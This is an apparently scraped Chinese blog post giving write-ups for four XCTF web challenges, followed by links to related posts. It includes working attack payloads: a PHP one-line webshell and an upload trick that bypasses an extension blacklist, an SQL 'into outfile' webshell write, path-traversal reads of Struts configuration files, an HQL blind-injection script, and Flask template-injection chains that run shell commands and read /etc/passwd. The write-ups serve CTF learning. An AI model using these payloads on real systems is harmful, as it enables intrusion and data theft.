ics-07

 Web_php_include

 Zhuanxv

Web_python_template_injection

ics-07

题前半部分是php弱类型

这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin

当id为1a9时可符合上面的要求

看看上传的源码:

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

利用正则检测的文件后缀名 黑名单模式

突破后缀黑名单思路:

一种是Web中间件的解析漏洞 , 因为已经知道中间件是Apache2 , 使用的是PHP . 所以无非就是Apache解析漏洞或者PHP CGI解析漏洞

一种是通过上传.htaccess文件 , 要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块 , 经过测试发现上传的.htaccess无法生效

[/var/www/html/uploaded/backup/]$ cat /etc/mime.types | grep php
#application/x-httpd-php            phtml pht php
#application/x-httpd-php-source            phps
#application/x-httpd-php3            php3
#application/x-httpd-php3-preprocessed        php3p
#application/x-httpd-php4            php4
#application/x-httpd-php5            php5

发现很多文件后缀都使用了application/x-httpd-php这个解析器

其中 phps 和 php3p 都是源代码文件 , 无法被执行 . 而剩下所有的后缀都被正则表过滤 , 所以这种方式也无法成功上传可执行文件

这道题利用了一个Linux的目录结构特性

linux中创建了一个目录为1.php , 都会在其中自动创建两个隐藏文件  .. 和 .

构造:

con=<?php @eval($_POST[qing]);?>&file=qing.php/qing.php/..

Web_php_include

发现phpinfo()可以看到绝对路径   和  phpmyadmin

进入phpmyadmin页面   root直接空密码登录

查看phpmyadmin变量 secure file priv 值为空  说明可以写入一句话

测试到/tmp 目录可以写入,也可以包含读取。
 于是将一句话写入/tmp,菜刀链接文件包含页面,得到flag

<?php eval(@$_POST['qing']); ?>

select "<?php eval(@$_POST['qing']); ?>"into outfile '/tmp/qing.php'  

http://111.198.29.45:43025/?page=/tmp/qing.php 菜刀链接

Zhuanxv

XCTF 4th-SCTF-2018

扫描发现 list目录

爆破注入没成功 看看源码

传参方式取图片 站点发现是java  fuzz下

这里fuzz时候还要多fuzz下目录 这里是../../WEB-INF/web.xml

配置文件里面写的是Struts2

关于Struts2目录结构

https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html

Struts 2框架有两个核心配置文件,其中struts.xml文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。除此之外,Struts 2框架还包含     struts.properties文件,该文件定义了Struts 2框架的大量属性,开发者可以通过改变这些属性来满足应用的需求。

Struts2在WEB-INF目录的class目录下有个核心的xml文件

读取struts.xml文件

http://111.198.29.45:39585/loadimage?fileName=../../WEB-INF/classes/struts.xml

这里class里面可以看到很多class类名  尝试下载

访问../../WEB-INF/classes/applicationContext.xml,获取class文件路径和项目配置信息、数据库信息

http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

发现 有个user.hbm.xml项

​ 从user.hbm.xml得知表名和类名映射

逐个下载配置文件class  在com/cuitctf/service/impl/UserServiceImpl.class得知过滤规则,用户名只过滤空格和等号,密码限制只能字母+数字

可以看到拼接的sql语句 直接拼接的name和password变量造成注入  这里是hql语句

设计到hql注入

注入payload:

admin%%0Aor%0A%%%3E%

盲注脚本

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
  payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

Web_python_template_injection

一道有意思的python模版注入(SSTI)

发现存在SSTI  把{{}}中的内容当变量去解析并执行了

FLASK中config是配置为对象  这里使用这个对象的item方法查看信息

config.items()

查查看所有模块

[].__class__.__base__.__subclasses__()

因为如果执行命令需要os模块 这里os模块是在warnings.catch_warnings模块  先找warnings.catch_warnings模块  为第59个

查看warnings.catch_warnings模块的全局函数  利用到的是func_globals.keys()

[].__class__.__base__.__subclasses__()[].__init__.func_globals.keys()

可以看到 linecache函数,os模块就在其中

查看flag文件所在

().__class__.__bases__[].__subclasses__()[].__init__.func_globals.values()[]['eval']('__import__("os").popen("ls").read()' )

{{].__subclasses__()[]("fl4g").read()}}

读取文件 利用到的是object对象下的file类的read函数

[].__class__.__base__.__subclasses__()[]('/etc/passwd').read()

攻防世界(XCTF)WEB(进阶区)write up(四)的更多相关文章

  1. 攻防世界(XCTF)WEB(进阶区)write up(三)

    挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...

  2. 攻防世界(XCTF)WEB(进阶区)write up(一)

      cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名  输入普通域名无果  输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...

  3. 攻防世界(XCTF)WEB(进阶区)write up(二)

    国庆就要莫得了   起床刷几道 NewsCenter mfw Training-WWW-Robots NaNNaNNaNNaN-Batman bug NewsCenter search传参那里发现有注 ...

  4. 攻防世界 ctf web进阶区 unserialize

    进入到题目的界面,看到以下源码 构造payload=?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 结 ...

  5. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  6. 攻防世界-web-高手进阶区018-easytornado

    1.查看主页面 2.查看其他页面,/welcome.txt http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9ae ...

  7. 攻防世界-Crypto高手进阶区部分Writeup

    1.flag_in_your_hand && flag_in_your_hand1 下载,解压后 打开index文件,直接点击get flag错误,输入其他点击也同样 打开js文件,在 ...

  8. 攻防世界-WEB-新手练习区

    附:|>>>攻防世界-WEB-高手进阶区<<<|

  9. 攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup

    攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup 题目介绍 题目考点 隐写术 摩斯密码 Writeup 下载附件是PDF文件打开,研究一 ...

随机推荐

  1. SpringBoot自定义过滤器的两种方式及过滤器执行顺序

    第一种 @WebFilter + @ServletComponentScan 注解 1.首先自定义过滤器 如下自定义过滤器 ReqResFilter 必须实现  javax.servlet.Filte ...

  2. ScrollView内嵌ViewPager导致ViewPager滑动困难问题

    转自:http://titanseason.iteye.com/blog/1858874 解决方式:重写ScrollView,然后在xml中定义布局的时候,使用自定义的PagerScrollView而 ...

  3. .Net基础篇_学习笔记_第八天_复杂数据类型(常量/枚举/结构)

    1.常量: 声明的常量的语法:const 变量类型 变量名=值;最大的特点就是,声明了常量后,就不能再被重新赋值. 2.枚举 语法:[public] enum 枚举名{ 值1, 值2, 值3, ... ...

  4. Hadoop&Hbase 双机热备--Pacemaker&DRBD部署

    相关文章   DRBD的介绍请参考http://blog.csdn.net/rzhzhz/article/details/7103772   DRBD的部署请参考http://blog.csdn.ne ...

  5. 漫谈Java中的OOPS

    什么是OOPS? 面向对象编程是一种编程概念,其工作原理是对象是程序中最重要的部分.它允许用户创建他们想要的对象,然后创建处理这些对象的方法.操作这些对象以获得结果是面向对象编程的目标. 面向对象编程 ...

  6. shell编写一键启动

    #!/bin/bashAPP_NAME=bonade-uaac-service-0.0.1-SNAPSHOT.jarusage() { echo "Usage: sh 执行脚本.sh [st ...

  7. vs code: 将VS code添加至右键

    解决问题:一般安装完vs code后,系统可能不会将其添加至右键等菜单上,不便于开发. 解决方案: 百度上有一些相关问题的解决办法,但是还是会遇到一些问题,以下面为例: 1.新建一个reg后缀的文件 ...

  8. MOOC C++笔记(二):类和对象基础

    第二周:类和对象基础 面向对象程序设计的四个基本特点 抽象.封装.继承.多态. 面向对象程序设计的过程 1.从客观事物抽象出类 抽象出的事物带有成员函数与成员变量(类似于带函数的结构体) 成员变量和成 ...

  9. asp.net core系列 73 Exceptionless+Nlog以及Apollo介绍

    一. 介绍 在一上篇中介绍了Exceptionless的基本使用,这篇主要讲Exceptionless结合Nlog的实现双重日志记录,包括Exceptionles的UI可视化日志以及Nlog的txt文 ...

  10. [CUDA] 00 - GPU Driver Installation & Concurrency Programming

    前言 对,这是一个高大上的技术,终于要做老崔当年做过的事情了,生活很传奇. 一.主流 GPU 编程接口 1. CUDA 是英伟达公司推出的,专门针对 N 卡进行 GPU 编程的接口.文档资料很齐全,几 ...